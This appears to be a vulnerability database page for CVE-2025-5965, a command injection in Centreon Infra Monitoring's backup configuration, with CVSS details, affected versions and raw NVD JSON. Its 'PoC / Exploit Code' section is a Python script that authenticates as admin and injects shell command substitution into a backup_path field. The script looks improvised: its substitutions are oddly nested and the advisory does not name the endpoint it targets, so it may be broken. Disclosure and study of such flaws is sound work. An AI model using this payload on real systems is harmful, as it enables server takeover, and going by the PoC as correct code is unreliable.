Security Vulnerability Report
中文
CVE-2025-5965 CVSS 7.2 HIGH

CVE-2025-5965

Published: 2026-01-05 10:15:56
Last Modified: 2026-01-26 15:07:47
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

In the backup parameters, a user with high privilege is able to concatenate custom instructions to the backup setup. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Centreon Infra Monitoring (Backup configuration in the administration setup modules) allows OS Command Injection.This issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring 25.10.0 < 25.10.2
Centreon Infra Monitoring 24.10.0 < 24.10.15
Centreon Infra Monitoring 24.04.0 < 24.04.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-5965 PoC - Centreon OS Command Injection # Requirements: High privilege account access to Centreon # Target: Centreon Infra Monitoring < 25.10.2, < 24.10.15, < 24.04.19 import requests import json TARGET_URL = "https://<centreon-host>/centreon" USERNAME = "admin" PASSWORD = "password" def login(session): """Authenticate to Centreon""" login_url = f"{TARGET_URL}/api/latest/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) return response.json().get("token") def exploit_command_injection(session, token, cmd): """Inject OS command via backup configuration""" headers = {"X-AUTH-TOKEN": token} # Navigate to backup configuration module backup_url = f"{TARGET_URL}/api/latest/administration/backup" # Malicious payload - inject command via backup parameters payload = { "backup_name": "test_backup", "backup_path": f"$(echo {cmd} > /tmp/pwned.txt)", "type": "full" } response = session.post(backup_url, headers=headers, json=payload, verify=False) return response.status_code == 200 def main(): session = requests.Session() token = login(session) if token: # Example: Write a proof file to demonstrate RCE cmd = "$(whoami > /tmp/pwned.txt)" if exploit_command_injection(session, token, cmd): print("[+] Command injected successfully") print("[+] Check /tmp/pwned.txt on target server") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-5965", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2026-01-05T10:15:55.870", "lastModified": "2026-01-26T15:07:47.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the backup parameters, a user with high privilege is able to concatenate custom instructions to the backup setup. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Centreon Infra Monitoring (Backup configuration in the administration setup modules) allows OS Command Injection.This issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.19", "matchCriteriaId": "440A575D-6C68-4894-A4DB-C62065FE0349"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.15", "matchCriteriaId": "BE9F2C39-E778-4EFE-8E0B-14D5174A717D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.10.0", "versionEndExcluding": "25.10.2", "matchCriteriaId": "1842C772-1AC5-49B3-A209-2B8AD6C31134"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5965-centreon-web-high-severity-5362", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Patch", "Vendor Advisory"]}]}}